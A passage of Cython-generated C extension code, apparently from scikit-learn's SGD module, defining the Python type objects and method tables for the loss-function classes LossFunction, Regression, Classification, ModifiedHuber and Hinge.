__Pyx_DOCSTR(__pyx_doc_7sklearn_12linear_model_8sgd_fast_12LossFunction_loss)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_3dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(__pyx_doc_7sklearn_12linear_model_8sgd_fast_12LossFunction_2dloss)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_LossFunction = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_LossFunction = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_LossFunction = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_LossFunction = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_LossFunction = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.LossFunction\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_LossFunction, /*tp_as_number*/\n  &__pyx_tp_as_sequence_LossFunction, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_LossFunction, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_LossFunction, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Base class for convex loss functions\"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  0, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Regression;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Regression(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *)o);\n  p->__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_Regression[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_1loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_3dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_Regression = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_Regression = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_Regression = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_Regression = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_Regression = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.Regression\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_Regression, /*tp_as_number*/\n  &__pyx_tp_as_sequence_Regression, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_Regression, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_Regression, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Base class for loss functions for regression\"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_Regression, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  0, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Regression, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Classification;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Classification(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *)o);\n  p->__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Classification;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_Classification[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_1loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_3dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_Classification = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_Classification = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_Classification = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_Classification = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_Classification = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.Classification\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_Classification, /*tp_as_number*/\n  &__pyx_tp_as_sequence_Classification, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_Classification, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_Classification, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Base class for loss functions for classification\"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_Classification, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  0, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Classification, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_ModifiedHuber __pyx_vtable_7sklearn_12linear_model_8sgd_fast_ModifiedHuber;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_ModifiedHuber(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *)o);\n  p->__pyx_base.__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_ModifiedHuber;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_ModifiedHuber[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_1loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_3dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_5__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_ModifiedHuber = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_ModifiedHuber = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_ModifiedHuber = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_ModifiedHuber = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_ModifiedHuber = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.ModifiedHuber\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_ModifiedHuber, /*tp_as_number*/\n  &__pyx_tp_as_sequence_ModifiedHuber, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_ModifiedHuber, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_ModifiedHuber, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Modified Huber loss for binary classification with y in {-1, 1}\\n\\n    This is equivalent to quadratically smoothed SVM with gamma = 2.\\n\\n    See T. Zhang 'Solving Large Scale Linear Prediction Problems Using\\n    Stochastic Gradient Descent', ICML'04.\\n    \"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_ModifiedHuber, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  0, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_ModifiedHuber, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Hinge __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Hinge;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Hinge(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *)o);\n  p->__pyx_base.__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Hinge;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_Hinge[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_3loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_5dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_7__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_Hinge = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_Hinge = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_Hinge = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs 